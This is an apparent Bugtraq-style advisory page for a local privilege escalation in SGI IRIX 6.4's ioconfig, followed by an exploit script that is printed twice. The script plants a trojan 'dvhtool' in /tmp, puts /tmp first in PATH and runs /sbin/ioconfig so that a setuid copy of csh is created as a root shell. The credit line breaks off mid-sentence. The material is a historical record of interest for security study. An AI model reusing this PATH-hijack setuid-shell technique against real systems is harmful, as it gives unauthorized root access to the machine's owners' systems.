IRIX ioconfig Vulnerability
BID:213
CVE-1999-313 |Info
IRIX ioconfig Vulnerability
| Bugtraq ID: | 213 |
| Class: | Environment Error |
| CVE: | |
| Remote: | Unknown |
| Local: | Yes |
| Published: | Jul 20 1998 12:00AM |
| Updated: | Jul 20 1998 12:00AM |
| Credit: | An advisory to for this vulnerability was posted to the Bugtraq mailing list by SGI Security Coordinator <[email protected]> on July 20, 1998. An exploit for this vulnerability was written by Loneguard on April 12, 1997. It is not known whether |
| Vulnerable: |
SGI IRIX 6.4 |
| Not Vulnerable: | |
Exploit / POC
IRIX ioconfig Vulnerability
#!/bin/sh
#
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
#
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
#
cat > /tmp/dvhtool << 'EOF'
#!/bin/sh
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
EOF
/sbin/chmod 700 /tmp/dvhtool
PATH=/tmp:$PATH
/sbin/ioconfig -f /hw
#!/bin/sh
#
# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
#
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
#
cat > /tmp/dvhtool << 'EOF'
#!/bin/sh
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
EOF
/sbin/chmod 700 /tmp/dvhtool
PATH=/tmp:$PATH
/sbin/ioconfig -f /hw